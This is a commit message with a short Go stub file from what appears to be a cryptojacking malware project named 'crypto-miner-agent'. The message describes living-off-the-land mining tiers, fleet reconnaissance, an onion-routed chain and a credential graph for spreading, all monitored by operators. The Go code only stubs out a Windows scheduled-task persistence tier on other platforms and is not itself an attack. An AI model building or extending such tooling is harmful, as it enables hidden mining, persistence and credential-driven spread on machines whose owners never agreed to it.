Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

agent/miner/tier_scheduled_task_stub.go

@@ -0,0 +1,21 @@
+//go:build !windows
+
+package miner
+
+import (
+	"fmt"
+
+	"crypto-miner-agent/config"
+)
+
+func platformScheduledTaskOps() *ScheduledTaskOps {
+	return &ScheduledTaskOps{
+		Exists: func(string) bool { return false },
+		Install: func(_, _, _ string) error {
+			return fmt.Errorf("scheduled_task tier requires windows")
+		},
+		StubPath: func(config.RuntimeConfig) (string, error) {
+			return "", fmt.Errorf("scheduled_task tier requires windows")
+		},
+	}
+}